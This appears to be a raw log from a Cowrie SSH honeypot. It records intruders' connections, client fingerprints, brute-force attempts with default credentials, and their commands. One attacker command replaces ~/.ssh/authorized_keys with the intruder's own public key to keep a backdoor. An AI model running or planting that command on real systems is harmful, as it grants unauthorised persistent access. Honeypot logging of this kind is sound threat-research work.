{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:10:11.764719Z","src_ip":"110.166.73.238","session":"4a0d08e26091","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:10:11.768005Z","src_ip":"110.166.73.238","session":"4a0d08e26091","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"110.166.73.238","src_port":43256,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ff33400e60f","protocol":"ssh","message":"New connection: 110.166.73.238:43256 (159.203.135.109:22) [session: 6ff33400e60f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:10:20.992759Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":50702,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d584928af62","protocol":"ssh","message":"New connection: 193.32.162.151:50702 (159.203.135.109:22) [session: 1d584928af62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:11:27.748004Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:11:27.752894Z","src_ip":"193.32.162.151","session":"1d584928af62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:11:27.858624Z","src_ip":"193.32.162.151","session":"1d584928af62","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"ftptest","message":"login attempt [ftptest/ftptest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:11:28.176873Z","src_ip":"193.32.162.151","session":"1d584928af62","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:11:29.285698Z","src_ip":"193.32.162.151","session":"1d584928af62","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":49546,"dst_ip":"10.17.0.5","dst_port":22,"session":"339341d67795","protocol":"ssh","message":"New connection: 2.57.122.208:49546 (10.17.0.5:22) [session: 339341d67795]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:11:35.750289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:11:35.754896Z","src_ip":"2.57.122.208","session":"339341d67795","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:11:35.861987Z","src_ip":"2.57.122.208","session":"339341d67795","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"sol","message":"login attempt [sol/sol] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:11:36.174519Z","src_ip":"2.57.122.208","session":"339341d67795","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:11:37.379157Z","src_ip":"2.57.122.208","session":"339341d67795","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":46516,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d5b04618552","protocol":"ssh","message":"New connection: 80.94.92.186:46516 (10.17.0.5:22) [session: 1d5b04618552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:11:39.627002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:11:39.917497Z","src_ip":"80.94.92.186","session":"1d5b04618552","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:11:39.921401Z","src_ip":"80.94.92.186","session":"1d5b04618552","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"123456","message":"login attempt [lighthouse/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:11:41.048534Z","src_ip":"80.94.92.186","session":"1d5b04618552","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:11:42.298175Z","src_ip":"80.94.92.186","session":"1d5b04618552","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"35.203.210.29","src_port":57960,"dst_ip":"10.17.0.5","dst_port":23,"session":"75395ebfd8fd","protocol":"telnet","message":"New connection: 35.203.210.29:57960 (10.17.0.5:23) [session: 75395ebfd8fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:12:08.497996Z"}
{"eventid":"cowrie.session.closed","duration":9.92760181427002,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:12:18.425472Z","src_ip":"35.203.210.29","session":"75395ebfd8fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:12:21.000381Z","src_ip":"110.166.73.238","session":"6ff33400e60f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":37406,"dst_ip":"159.203.135.109","dst_port":22,"session":"d19fcfe03866","protocol":"ssh","message":"New connection: 85.198.97.85:37406 (159.203.135.109:22) [session: d19fcfe03866]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:13:28.282818Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:13:28.287279Z","src_ip":"85.198.97.85","session":"d19fcfe03866","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:13:28.418966Z","src_ip":"85.198.97.85","session":"d19fcfe03866","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"123123","message":"login attempt [root/123123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:13:28.813654Z","src_ip":"85.198.97.85","session":"d19fcfe03866","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:13:29.126552Z","src_ip":"85.198.97.85","session":"d19fcfe03866","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'dGVzdA==' | base64 -d 2>/dev/null","message":"CMD: echo 'dGVzdA==' | base64 -d 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:13:29.129806Z","src_ip":"85.198.97.85","session":"d19fcfe03866","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","size":4,"shasum":"ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:13:29.264501Z","src_ip":"85.198.97.85","session":"d19fcfe03866","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:13:29.267933Z","src_ip":"85.198.97.85","session":"d19fcfe03866","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":38362,"dst_ip":"159.203.135.109","dst_port":22,"session":"6a66f89cda33","protocol":"ssh","message":"New connection: 193.32.162.151:38362 (159.203.135.109:22) [session: 6a66f89cda33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:13:45.087448Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:13:45.102331Z","src_ip":"193.32.162.151","session":"6a66f89cda33","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:13:45.194249Z","src_ip":"193.32.162.151","session":"6a66f89cda33","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"debian","password":"debian","message":"login attempt [debian/debian] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:13:45.616914Z","src_ip":"193.32.162.151","session":"6a66f89cda33","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:13:46.734447Z","src_ip":"193.32.162.151","session":"6a66f89cda33","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":56642,"dst_ip":"10.17.0.5","dst_port":22,"session":"89903f8d23e2","protocol":"ssh","message":"New connection: 2.57.122.208:56642 (10.17.0.5:22) [session: 89903f8d23e2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:14:01.321449Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:14:01.362271Z","src_ip":"2.57.122.208","session":"89903f8d23e2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:14:01.506089Z","src_ip":"2.57.122.208","session":"89903f8d23e2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:14:02.011109Z","src_ip":"2.57.122.208","session":"89903f8d23e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:14:03.273830Z","src_ip":"2.57.122.208","session":"89903f8d23e2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"249.1","message":"Connection lost after 249.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:14:17.016433Z","src_ip":"110.166.73.238","session":"4a0d08e26091","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.186","src_port":49214,"dst_ip":"10.17.0.5","dst_port":22,"session":"9be7eeabe610","protocol":"ssh","message":"New connection: 80.94.92.186:49214 (10.17.0.5:22) [session: 9be7eeabe610]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:15:01.445957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:15:01.658856Z","src_ip":"80.94.92.186","session":"9be7eeabe610","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:15:01.663193Z","src_ip":"80.94.92.186","session":"9be7eeabe610","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"lighthouse","message":"login attempt [lighthouse/lighthouse] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T10:15:03.430171Z","src_ip":"80.94.92.186","session":"9be7eeabe610","protocol":"ssh"}
